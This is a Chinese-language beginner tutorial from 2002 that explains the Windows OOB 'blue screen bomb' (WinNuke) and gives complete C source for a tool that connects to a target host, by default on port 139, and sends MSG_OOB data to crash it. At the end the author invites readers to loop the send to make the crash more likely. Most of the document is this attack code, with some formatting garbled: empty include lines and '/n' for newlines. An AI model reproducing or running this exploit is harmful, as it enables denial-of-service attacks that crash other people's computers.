前言: 本文章只是為了給廣大和我一樣的菜鳥一個指引。如果你是高手,或對編程毫沒有興趣。建議請不要在此浪費時間。 記得還是在上高中時,第一次接觸了winnuck藍屏炸彈。那時感覺非常神秘。後來才知道原來那時所謂的藍屏炸彈就是 OOB 炸彈。 首先讓我們瞭解一下什麼是 OOB 炸彈。OOB 炸彈,顧名思義就是向對方發送一個 OOB 訊息,由於作業系統漏洞的緣故而造成異常錯誤(通常表現就是藍屏,顧得名藍屏炸彈)。當然這裡的作業系統特指windows。 下面就結合實力給大家介紹一個 OOB 炸彈的編製方法。下面這個程式我沒有進行測試,原因有很多。主要是沒有條件。我也不保證這是一個能用的版本,因為據我瞭解,MS早已經對這個漏洞進行了修複。今天的這個文章全當是紀念吧!讓大家瞭解一下,原來炸彈不過如此(話雖然這麼說但是能寫出好炸彈的還是高人,比如最近鬧得沸沸揚揚的SYN Flood)。 /*------------------------------oob_bomb.c-----------------------------------*/ /*gcc -O -o tcpscan scan.c*/ /* oob bomb */ /* mikespook */ /* 2002.5.21 */ #include #include #include #include #include /* 這個函數是用來檢查輸入的參數是IP地址還是主機名稱 */ int correcthost(const char *host, struct sockaddr_in * sock); main(int argc, int *argv[]) { /* 所要攻擊的連接埠,一般 OOB 炸彈預設的是139連接埠 */ int n_port; /* socket通訊端 */ int sock_id; /* 返回錯誤碼 */ int rtn_err; /* socket結構,建立串連、發送訊息全靠它了 */ struct sockaddr_in remote_sock; /* 訊息 */ char *pc_msg; /* 處理命令列參數 */ if(argc != 4){ if(argc != 3){ if(argc !=2){ printf("Usage: oob_bomb [port] [message]/n"); printf("Writen by mikespook/n"); printf("mikespook@hotmail.com/tWith subject: report for bomb/n"); exit(0); }else /* 如果沒有輸入連接埠號碼就用預設的139連接埠 */ remote_sock.sin_port = htons(139); }else /* 否則使用輸入的連接埠 */ remote_sock.sin_port = htons(atoi(argv[2])); pc_msg = ":-)"; }else{ remote_sock.sin_port = htons(atoi(argv[2])); pc_msg =(char *)argv[3]; } rtn_err = correcthost((char *)argv[1], (struct sockaddr_in *)&remote_sock); if(rtn_err != 0) exit(1); remote_sock.sin_family = AF_INET; /* 建立一個socket套介面 */ sock_id = socket(AF_INET, SOCK_STREAM, 0); if(sock_id < 0){ perror("/nsocket"); exit(2); } /* 當然要串連上才能繼續了 */ rtn_err = connect(sock_id, (struct sockaddr *)&remote_sock, sizeof(remote_sock)); if(rtn_err < 0){ perror("/nconnect"); exit(3); } /* 呵呵,送一個MSG_OOB訊息,"Bomb..." */ rtn_err = send(sock_id, pc_msg, strlen(pc_msg), MSG_OOB); if(rtn_err == -1){ perror("/nsend"); exit(4); } printf("OOB_Bomb Success!/n"); close(sock_id); exit(0); } /* 這個函數我在上次的tcp connect掃描器的製作中有介紹,不多說了 */ int correcthost(const char *host, struct sockaddr_in *sock) { struct hostent *struct_host; if(isdigit(*host)) sock->sin_addr.s_addr = inet_addr(host); else{ struct_host = gethostbyname(host); if(struct_host != NULL) bcopy(struct_host->h_addr, (char *)&sock->sin_addr, struct_host->h_length); else{ printf("Get error with host name./n"); return -1; } } return 0; } ------------------------------------------------------------------------------- 最後補充一下,在發送MSG_OOB訊息的時候一般的 OOB 炸彈會做一個迴圈,大量的發送 MSG_OOB 訊息,以增加對方當機的可能性。原理我已經說了,改進就由你完成了。:) 由於我是菜鳥,或許有什麼不對的地方。也可能一些細節我沒有考慮到。如果你知道的話希望不惜指教。小弟感激不盡!! |